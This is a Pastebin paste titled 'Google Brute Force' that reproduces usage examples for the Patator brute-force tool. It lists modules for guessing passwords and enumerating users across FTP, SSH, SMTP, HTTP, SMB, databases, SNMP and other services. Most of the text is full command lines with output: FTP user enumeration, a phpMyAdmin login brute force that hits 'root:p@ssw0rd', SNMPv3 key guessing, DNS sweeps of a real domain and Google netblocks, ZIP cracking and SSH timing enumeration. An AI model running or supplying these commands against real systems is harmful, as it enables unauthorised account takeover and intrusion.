API tools faq
paste
Faeizzamriee

Google Brute Force

Faeizzamriee
Jun 4th, 2014
1,185
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.62 KB | None | 0 0
raw download clone embed print report
  1. * ftp_login : Brute-force FTP
  2. * ssh_login : Brute-force SSH
  3. * telnet_login : Brute-force Telnet
  4. * smtp_login : Brute-force SMTP
  5. * smtp_vrfy : Enumerate valid users using the SMTP VRFY command
  6. * smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command
  7. * finger_lookup : Enumerate valid users using Finger
  8. * http_fuzz : Brute-force HTTP/HTTPS
  9. * pop_login : Brute-force POP
  10. * pop_passd : Brute-force poppassd (not POP3)
  11. * imap_login : Brute-force IMAP
  12. * ldap_login : Brute-force LDAP
  13. * smb_login : Brute-force SMB
  14. * smb_lookupsid : Brute-force SMB SID-lookup
  15. * rlogin_login : Brute-force rlogin
  16. * vmauthd_login : Brute-force VMware Authentication Daemon
  17. * mssql_login : Brute-force MSSQL
  18. * oracle_login : Brute-force Oracle
  19. * mysql_login : Brute-force MySQL
  20. * mysql_query : Brute-force MySQL queries
  21. * pgsql_login : Brute-force PostgreSQL
  22. * vnc_login : Brute-force VNC
  23. * dns_forward : Brute-force DNS
  24. * dns_reverse : Brute-force DNS (reverse lookup subnets)
  25. * snmp_login : Brute-force SNMPv1/2 and SNMPv3
  26. * unzip_pass : Brute-force the password of encrypted ZIP files
  27. * keystore_pass : Brute-force the password of Java keystore files
  28. * umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
  29.  
  30. The name "Patator" comes from http://www.youtube.com/watch?v=xoBkBvnTTjo
  31.  
  32. Patator is NOT script-kiddie friendly, please read the README inside patator.py before reporting.
  33.  
  34.  
  35. @lanjelot
  36.  
  37.  
  38. FTP : User enumeration on a too verbose server
  39. $ patator.py ftp_login host=10.0.0.1 user=FILE0 password=qsdf 0=logins.txt -x ignore:mesg='Login incorrect.'
  40. 22:27:29 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 22:27 EST
  41. 22:27:29 patator INFO -
  42. 22:27:29 patator INFO - code size | candidate | num | mesg
  43. 22:27:29 patator INFO - ----------------------------------------------------------------------
  44. 22:27:30 patator INFO - 530 18 | root | 1 | Permission denied.
  45. 22:27:31 patator INFO - 230 17 | ftp | 13 | Login successful.
  46. 22:27:34 patator INFO - 530 18 | admin | 23 | Permission denied.
  47. 22:27:34 patator INFO - 530 18 | oracle | 31 | Permission denied.
  48. 22:28:02 patator INFO - 530 18 | test | 179 | Permission denied.
  49. 22:28:21 patator INFO - 230 17 | anonymous | 283 | Login successful.
  50. 22:28:26 patator INFO - 530 18 | ftpuser | 357 | Permission denied.
  51. 22:28:41 patator INFO - 530 18 | nobody | 402 | Permission denied.
  52. ...
  53.  
  54. HTTP : Brute-force phpMyAdmin logon
  55. $ http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST body='pma_username=COMBO00&pma_password=COMBO01&server=1&lang=en' 0=combos.txt follow=1 accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server' -l /tmp/qsdf
  56. 10:55:50 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:55 EST
  57. 10:55:50 patator INFO -
  58. 10:55:50 patator INFO - code size:clen | candidate | num | mesg
  59. 10:55:50 patator INFO - ----------------------------------------------------------------------
  60. 10:55:50 patator INFO - 200 8209:7075 | root: | 22 | HTTP/1.1 200 OK
  61. 10:55:51 patator INFO - 200 3838:2566 | root:p@ssw0rd | 44 | HTTP/1.1 200 OK
  62. ^C
  63. 10:55:52 patator INFO - Hits/Done/Skip/Fail/Size: 2/125/0/0/2342, Avg: 47 r/s, Time: 0h 0m 2s
  64. 10:55:52 patator INFO - To resume execution, pass --resume 12,13,12,13,12,12,13,13,13,12
  65.  
  66. Payload #22 was a false positive:
  67. $ cat /tmp/qsdf/22_200_8209\:7075.txt
  68. ...
  69. <div class="error">Login without a password is forbidden by configuration (see AllowNoPassword)</div>
  70. SNMPv3 : Find valid usernames
  71. $ snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName
  72. 17:51:06 patator INFO - Starting Patator v0.5
  73. 17:51:06 patator INFO -
  74. 17:51:06 patator INFO - code size | candidate | num | mesg
  75. 17:51:06 patator INFO - ----------------------------------------------------------------------
  76. 17:51:11 patator INFO - 0-0 11 | robert | 55 | wrongDigest
  77. 17:51:12 patator INFO - Progress: 20% (70/345) | Speed: 10 r/s | ETC: 17:51:38 (00:00:26 remaining)
  78. 17:51:33 patator INFO - 0-0 11 | myuser | 311 | wrongDigest
  79. 17:51:36 patator INFO - Hits/Done/Skip/Fail/Size: 2/345/0/0/345, Avg: 11 r/s, Time: 0h 0m 30s
  80.  
  81. SNMPv3 : Find valid passwords
  82. $ snmp_login host=10.0.0.1 version=3 user=robert auth_key=FILE0 0=passwords_8+.txt -x ignore:mesg=wrongDigest
  83. 17:52:15 patator INFO - Starting Patator v0.5
  84. 17:52:15 patator INFO -
  85. 17:52:15 patator INFO - code size | candidate | num | mesg
  86. 17:52:15 patator INFO - ----------------------------------------------------------------------
  87. 17:52:16 patator INFO - 0-0 69 | password123 | 16 | Linux thug 2.6.36-gentoo #5 SMP Fri Aug 12 14:49:51 CEST 2011 i686
  88. 17:52:17 patator INFO - Hits/Done/Skip/Fail/Size: 1/50/0/0/50, Avg: 38 r/s, Time: 0h 0m 1s
  89.  
  90. DNS : Forward lookup
  91. $ dns_forward name=FILE0.hsc.fr 0=names.txt -x ignore:code=3
  92. 03:18:46 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:18 PMT
  93. 03:18:46 patator INFO -
  94. 03:18:46 patator INFO - code size | candidate | num | mesg
  95. 03:18:46 patator INFO - ----------------------------------------------------------------------
  96. 03:18:46 patator INFO - 0 41 | www | 4 | NOERROR [www.hsc.fr. IN A 217.174.211.25]
  97. 03:18:46 patator INFO - 0 81 | mail | 32 | NOERROR [mail.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
  98. 03:18:46 patator INFO - 0 44 | webmail | 62 | NOERROR [webmail.hsc.fr. IN A 192.70.106.95]
  99. 03:18:46 patator INFO - 0 93 | test | 54 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]
  100. 03:18:46 patator INFO - 0 40 | wap | 66 | NOERROR [wap.hsc.fr. IN A 192.70.106.33]
  101. 03:18:46 patator INFO - 0 85 | extranet | 131 | NOERROR [extranet.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
  102. 03:18:46 patator INFO - 0 81 | news | 114 | NOERROR [news.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
  103. 03:18:46 patator INFO - 0 93 | mailhost | 137 | NOERROR [mailhost.hsc.fr. IN A 192.70.106.33][mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd]
  104. 03:18:46 patator INFO - 0 47 | lists | 338 | NOERROR [lists.hsc.fr. IN MX 10 itesec.hsc.fr.]
  105. 03:18:46 patator INFO - 0 93 | fr | 319 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]
  106. 03:18:47 patator INFO - 0 40 | gl | 586 | NOERROR [gl.hsc.fr. IN A 192.70.106.103]
  107. Records ------------------------------------------
  108. extranet.hsc.fr. IN CNAME itesec.hsc.fr.
  109. gl.hsc.fr. IN A 192.70.106.103
  110. hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600
  111. itesec.hsc.fr. IN A 192.70.106.33
  112. lists.hsc.fr. IN MX 10 itesec.hsc.fr.
  113. mail.hsc.fr. IN CNAME itesec.hsc.fr.
  114. mailhost.hsc.fr. IN A 192.70.106.33
  115. mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd
  116. news.hsc.fr. IN CNAME itesec.hsc.fr.
  117. wap.hsc.fr. IN A 192.70.106.33
  118. webmail.hsc.fr. IN A 192.70.106.95
  119. www.hsc.fr. IN A 217.174.211.25
  120. Hostmap ------------------------------------------
  121. mailhost.hsc.fr 2001:7a8:1155:2::abcd
  122. mailhost.hsc.fr 192.70.106.33
  123. wap.hsc.fr 192.70.106.33
  124. itesec.hsc.fr 192.70.106.33
  125. extranet.hsc.fr
  126. mail.hsc.fr
  127. news.hsc.fr
  128. webmail.hsc.fr 192.70.106.95
  129. gl.hsc.fr 192.70.106.103
  130. www.hsc.fr 217.174.211.25
  131. Domains ------------------------------------------
  132. hsc.fr 10
  133. Networks -----------------------------------------
  134. 2001:7a8:1155:2::abcd
  135. 192.70.106.x
  136. 217.174.211.25
  137. 03:18:53 patator INFO - Hits/Done/Skip/Fail/Size: 11/1000/0/0/1000, Avg: 133 r/s, Time: 0h 0m 7s
  138.  
  139. Also notice that test.hsc.fr. is the start of a new zone because we got NOERROR and no IP address.
  140.  
  141. DNS : Reverse lookup two netblocks owned by Google
  142. $ dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-
  143. 03:24:22 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:24 PMT
  144. 03:24:22 patator INFO -
  145. 03:24:22 patator INFO - code size | candidate | num | mesg
  146. 03:24:22 patator INFO - ----------------------------------------------------------------------
  147. 03:24:22 patator INFO - 0 46 | 216.239.32.10 | 11 | NOERROR [216.239.32.10 IN PTR ns1.google.com.]
  148. 03:24:22 patator INFO - 0 45 | 216.239.32.11 | 12 | NOERROR [216.239.32.11 IN PTR ns.google.com.]
  149. 03:24:22 patator INFO - 0 48 | 216.239.32.15 | 16 | NOERROR [216.239.32.15 IN PTR time1.google.com.]
  150. 03:24:23 patator INFO - 0 47 | 216.239.33.5 | 262 | NOERROR [216.239.33.5 IN PTR proxy.google.com.]
  151. 03:24:23 patator INFO - 0 47 | 216.239.33.12 | 269 | NOERROR [216.239.33.12 IN PTR dns1.google.com.]
  152. 03:24:23 patator INFO - 0 51 | 216.239.33.22 | 279 | NOERROR [216.239.33.22 IN PTR transfer.google.com.]
  153. 03:24:23 patator INFO - 0 50 | 216.239.33.20 | 277 | NOERROR [216.239.33.20 IN PTR esc-out.google.com.]
  154. 03:24:23 patator INFO - 0 46 | 216.239.34.10 | 523 | NOERROR [216.239.34.10 IN PTR ns2.google.com.]
  155. 03:24:23 patator INFO - 0 48 | 216.239.34.15 | 528 | NOERROR [216.239.34.15 IN PTR time2.google.com.]
  156. ^C
  157. Records ------------------------------------------
  158. 216.239.32.10 IN PTR ns1.google.com.
  159. 216.239.32.11 IN PTR ns.google.com.
  160. 216.239.32.15 IN PTR time1.google.com.
  161. 216.239.33.12 IN PTR dns1.google.com.
  162. 216.239.33.20 IN PTR esc-out.google.com.
  163. 216.239.33.22 IN PTR transfer.google.com.
  164. 216.239.33.5 IN PTR proxy.google.com.
  165. 216.239.34.10 IN PTR ns2.google.com.
  166. 216.239.34.15 IN PTR time2.google.com.
  167. Hostmap ------------------------------------------
  168. ns1.google.com 216.239.32.10
  169. ns.google.com 216.239.32.11
  170. time1.google.com 216.239.32.15
  171. proxy.google.com 216.239.33.5
  172. dns1.google.com 216.239.33.12
  173. esc-out.google.com 216.239.33.20
  174. transfer.google.com 216.239.33.22
  175. ns2.google.com 216.239.34.10
  176. time2.google.com 216.239.34.15
  177. Domains ------------------------------------------
  178. google.com 9
  179. Networks -----------------------------------------
  180. 216.239.32.x
  181. 216.239.33.x
  182. 216.239.34.x
  183. 03:24:29 patator INFO - Hits/Done/Skip/Fail/Size: 9/872/0/0/4352, Avg: 115 r/s, Time: 0h 0m 7s
  184. 03:24:29 patator INFO - To resume execution, pass --resume 91,75,93,73,84,95,94,95,83,89
  185.  
  186. ZIP : Crack a password-protected ZIP file (older pkzip encryption used not to be supported in JtR)
  187. $ unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic -x ignore:code!=0
  188. 10:54:29 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:54:29 PMT
  189. 10:54:29 patator INFO -
  190. 10:54:29 patator INFO - code size | candidate | num | mesg
  191. 10:54:29 patator INFO - ----------------------------------------------------------------------
  192. 10:54:30 patator INFO - 0 82 | love | 387 | 0 [82] No errors detected in compressed data of challenge1.zip.
  193. ^C
  194. 10:54:31 patator INFO - Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s
  195. 10:54:31 patator INFO - To resume execution, pass --resume 166,164,165,166,155,158,148,158,155,154
  196.  
  197. SSH : Time-based user enumeration (using git version)
  198. $ python -c "print('A'*5000)" > /tmp/As.txt
  199. $ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=@/tmp/As.txt -x ignore:time=0-3.5
  200. 16:12:39 patator INFO - Starting Patator v0.6-beta (http://code.google.com/p/patator/) at 2013-07-13 16:12 EST
  201. 16:12:39 patator INFO -
  202. 16:12:39 patator INFO - code size time | candidate | num | mesg
  203. 16:12:39 patator INFO - ----------------------------------------------------------------------
  204. 16:12:53 patator INFO - 1 22 13.643 | root | 1 | Authentication failed.
  205. 16:12:57 patator INFO - 1 22 15.404 | support | 18 | Authentication failed.
  206. 16:12:58 patator INFO - 1 22 13.315 | testuser | 25 | Authentication failed.
  207. 16:13:06 patator INFO - 1 22 7.377 | michael | 38 | Authentication failed.
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!